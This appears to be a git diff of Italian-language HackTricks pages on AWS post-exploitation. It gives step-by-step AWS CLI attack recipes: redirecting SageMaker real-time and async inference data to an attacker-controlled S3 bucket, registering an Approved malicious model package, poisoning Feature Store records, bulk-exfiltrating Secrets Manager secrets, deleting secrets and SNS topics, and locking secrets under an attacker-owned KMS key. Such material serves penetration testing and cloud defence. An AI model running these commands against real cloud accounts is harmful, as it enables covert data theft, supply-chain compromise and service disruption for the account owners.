- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (o usa un bucket esistente nello stesso account)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: An existing InService real‑time endpoint in the same account/region
|
||||
|
||||
### Passaggi
|
||||
1) Identificare un endpoint InService e raccogliere le attuali varianti di produzione
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Prepara attacker S3 destination per captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crea un nuovo EndpointConfig che mantiene gli stessi variants ma abilita DataCapture verso l'attacker bucket
|
||||
|
||||
Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Applica la nuova config con un rolling update (minimo/nessun downtime)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Genera almeno una chiamata di inferenza (opzionale se esiste traffico live)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Validare captures in attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impatto
|
||||
- Esfiltrazione completa dei payloads delle richieste e delle risposte di real‑time inference (e dei metadata) dall'endpoint target verso un bucket S3 controllato dall'attaccante.
|
||||
- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, permettendo un percorso di furto dati furtivo con minima interruzione operativa.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abusa della gestione dell'endpoint per reindirizzare gli output delle asynchronous inference verso un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le model predictions (e qualsiasi input trasformato incluso dal container) senza modificare il model/container.
|
||||
|
||||
### Requisiti
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il model execution role o una permissive bucket policy)
|
||||
- Target: un endpoint InService dove le asynchronous invocations sono (o saranno) usate
|
||||
|
||||
### Passaggi
|
||||
1) Raccogli i ProductionVariants correnti dall'endpoint target
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crea un attacker bucket (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Clonare EndpointConfig e hijackare gli output di AsyncInference nel attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Avviare un async invocation e verificare che gli oggetti finiscano in attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impatto
|
||||
- Reindirizza i risultati di inference asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, permettendo l'esfiltrazione covert di predizioni e potenzialmente di input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice o l'immagine del modello e con downtime minimo/nullo.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine del container controllata dall'attaccante e marcarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni Approved a endpoints o training jobs, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una policy permissiva sulla risorsa ModelPackageGroup.
|
||||
|
||||
### Requisiti
|
||||
- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` sul ModelPackageGroup target
|
||||
- Facoltativo (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: accesso in lettura a ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante)
|
||||
- Target: un Model Package Group che le automazioni a valle monitorano per versioni Approved
|
||||
|
||||
### Passaggi
|
||||
1) Imposta la regione e crea/individua un Model Package Group target
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Prepara dati fittizi del modello in S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrare una Approved model package version maliziosa (qui benigna) che faccia riferimento a un'immagine pubblica AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Verificare che la nuova versione Approved esista
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impatto
|
||||
- Avvelena il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che effettuano l'auto-deploy di modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, ottenendo l'esecuzione di codice con i ruoli endpoint/training.
|
||||
- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.
|
||||
|
||||
## Avvelenamento del Feature Store
|
||||
|
||||
Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inferenza online. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso ai modelli o agli endpoint.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inference online. In combinazione con `sagemaker:GetRecord`, an attacker può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
|
||||
|
||||
## Requisiti
|
||||
- Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inference in tempo reale)
|
||||
|
||||
## Passaggi
|
||||
1) Scegli o crea un piccolo Online Feature Group per i test
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Inserire/sovrascrivere un record online (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Leggi nuovamente il record per confermare la manipolazione
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Atteso: risk_score restituisce 0.99 (impostato dall'attaccante), dimostrando la capacità di modificare le feature online utilizzate dai modelli.
|
||||
|
||||
## Impact
|
||||
- Attacco di integrità in tempo reale: manipolare le feature utilizzate dai modelli di produzione senza toccare endpoints/models.
|
||||
- Rischio per la riservatezza: leggere feature sensibili tramite GetRecord da OnlineStore.
|
||||
@@ -1,130 +0,0 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
|
||||
I **secrets sono informazioni sensibili**, [consulta la pagina privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per imparare come leggerli.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
Cambiare il valore del secret potrebbe **causare un DoS a tutti i sistemi che dipendono da quel valore.**
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che i valori precedenti sono anch'essi memorizzati, quindi è facile tornare al valore precedente.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Se l'attaccante ha il permesso secretsmanager:UpdateSecret, può configurare il secret in modo che utilizzi una KMS key di sua proprietà. Tale KMS key è inizialmente configurata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova KMS key. Se la KMS key non fosse accessibile, il secret non potrebbe essere aggiornato.
|
||||
|
||||
Dopo aver cambiato la KMS key del secret, l'attaccante modifica la configurazione della propria KMS key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret verrà crittografato con la nuova KMS key e, non essendoci accesso ad essa, la possibilità di recuperare il secret verrebbe persa.
|
||||
|
||||
È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione corrente è ancora crittografata con la KMS key originale.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Eliminazione del Secret
|
||||
|
||||
Il numero minimo di giorni per eliminare un secret è 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
È possibile ripristinare un secret, permettendo il recupero di secret che sono stati programmati per la cancellazione, dato che il periodo minimo di cancellazione per i secret è di 7 giorni e il massimo è di 30 giorni. Insieme al permesso secretsmanager:GetSecretValue, questo rende possibile recuperarne il contenuto.
|
||||
|
||||
Per recuperare un secret che è in fase di cancellazione, puoi usare il seguente comando:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Questa azione permette di eliminare la resource policy che controlla chi può accedere a un secret. Questo potrebbe portare a un DoS se la resource policy era configurata per consentire l'accesso a un insieme specifico di utenti.
|
||||
|
||||
Per eliminare la resource policy:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Gli stati di un segreto sono usati per gestire le versioni di un segreto. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente in modo da poter effettuare un rollback se necessario, e AWSPENDING è usato nel processo di rotazione per preparare e validare una nuova versione prima di renderla quella corrente.
|
||||
|
||||
Le applicazioni leggono sempre la versione contrassegnata da AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app utilizzeranno credenziali non valide e potrebbero andare in errore.
|
||||
|
||||
AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora girando con la versione precedente.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Esfiltrazione massiva di Secrets via BatchGetSecretValue (fino a 20 per chiamata)
|
||||
|
||||
Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 secrets in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto all'iterazione con GetSecretValue per ogni secret. Se si usano filtri (tags/name), è anche richiesto il permesso ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni secret recuperato nel batch.
|
||||
|
||||
Permessi richiesti
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue per ogni secret target
|
||||
- secretsmanager:ListSecrets se si usa --filters
|
||||
- kms:Decrypt sui CMK usati dai secrets (se non si usa aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che la permissione `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i secrets; è necessario anche `secretsmanager:GetSecretValue` per ogni secret che si vuole recuperare.
|
||||
|
||||
Esfiltrare tramite lista esplicita
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate tramite filtri (tag key/value o name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Gestione dei fallimenti parziali
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impatto
|
||||
- Rapida “smash-and-grab” di molti secret con meno chiamate API, potenzialmente bypassando alerting tarato sui picchi di GetSecretValue.
|
||||
- I log di CloudTrail includono comunque un evento GetSecretValue per ogni secret recuperato dal batch.
|
||||
@@ -0,0 +1,130 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leggi Secrets
|
||||
|
||||
I **secrets stessi sono informazioni sensibili**, [consulta la pagina privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per imparare come leggerli.
|
||||
|
||||
### DoS - Cambiare il valore del Secret
|
||||
|
||||
Modificando il valore del secret potresti causare un DoS a tutti i sistemi che dipendono da quel valore.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per utilizzare una KMS key di proprietà dell'attacker. Tale key viene inizialmente impostata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse accessibile, il secret non potrebbe essere aggiornato.
|
||||
|
||||
Dopo aver cambiato la key per il secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret il contenuto sarà cifrato con la nuova key e, poiché non si potrà accedere a questa key, la possibilità di recuperare il secret verrebbe persa.
|
||||
|
||||
È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione corrente è ancora cifrata con la KMS key originale.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
Il numero minimo di giorni per eliminare un secret è 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
È possibile ripristinare un secret, il che consente il recupero di secret che sono stati programmati per la cancellazione, poiché il periodo minimo di cancellazione per i secret è di 7 giorni e il massimo è di 30 giorni. Insieme all'autorizzazione secretsmanager:GetSecretValue, questo rende possibile recuperare i loro contenuti.
|
||||
|
||||
Per recuperare un secret che è in fase di cancellazione, puoi usare il seguente comando:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Questa operazione permette di eliminare la resource policy che controlla chi può accedere a un secret. Questo potrebbe causare un DoS se la resource policy è stata configurata per consentire l'accesso a un insieme specifico di utenti.
|
||||
|
||||
Per eliminare la resource policy:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Gli stati di un segreto sono usati per gestire le versioni di un segreto. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente in modo da poter eseguire il rollback se necessario, e AWSPENDING è usato nel processo di rotazione per preparare e convalidare una nuova versione prima di renderla quella corrente.
|
||||
|
||||
Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero andare in errore.
|
||||
|
||||
AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora funzionando con la versione precedente.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Esfiltrazione di segreti in massa via BatchGetSecretValue (fino a 20 per chiamata)
|
||||
|
||||
Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 segreti in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto a iterare GetSecretValue per ogni segreto. Se si utilizzano filtri (tags/name), è anche richiesta l'autorizzazione ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni segreto recuperato nel batch.
|
||||
|
||||
Permessi richiesti
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets se si usa --filters
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che l'autorizzazione `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i segreti; serve anche `secretsmanager:GetSecretValue` per ogni segreto che si vuole recuperare.
|
||||
|
||||
Esfiltrazione tramite lista esplicita
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate tramite filtri (tag key/value o name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Gestione dei guasti parziali
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impatto
|
||||
- Raccolta rapida “smash-and-grab” di molti segreti con meno chiamate API, potenzialmente eludendo gli avvisi tarati sui picchi di GetSecretValue.
|
||||
- I log di CloudTrail includono comunque un evento GetSecretValue per ogni segreto recuperato dal batch.
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni, vedi:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
@@ -25,6 +25,8 @@ Invia un'email.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Ancora da testare.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Invia un'email basata su un modello.
|
||||
@@ -35,7 +37,7 @@ Ancora da testare.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Invia un'email a più destinazioni
|
||||
Invia un'email a più destinatari
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
@@ -49,17 +51,19 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Invia un **email di rimbalzo** su un'email ricevuta (indicando che l'email non può essere ricevuta). Questo può essere fatto **fino a 24 ore dopo aver ricevuto** l'email.
|
||||
Invia una **bounce email** su una email ricevuta (indicando che l'email non è stata recapitata). Questo può essere fatto solo **entro 24h dalla ricezione**
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Da testare.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Questo invierà un'email di verifica personalizzata. Potresti aver bisogno di permessi anche per creare il modello di email.
|
||||
Questo invierà un'email di verifica personalizzata. Potrebbe essere inoltre necessario avere le autorizzazioni per creare il modello di email.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Ancora da testare.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,68 +0,0 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Per ulteriori informazioni:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Disrupt Messages
|
||||
|
||||
In diversi casi, i topic SNS vengono utilizzati per inviare messaggi a piattaforme che vengono monitorate (email, messaggi slack...). Se un attaccante impedisce l'invio dei messaggi che avvertono della sua presenza nel cloud, potrebbe rimanere non rilevato.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Un attaccante potrebbe eliminare un intero topic SNS, causando la perdita di messaggi e influenzando le applicazioni che dipendono dal topic.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano il topic eliminato.
|
||||
|
||||
### `sns:Publish`
|
||||
|
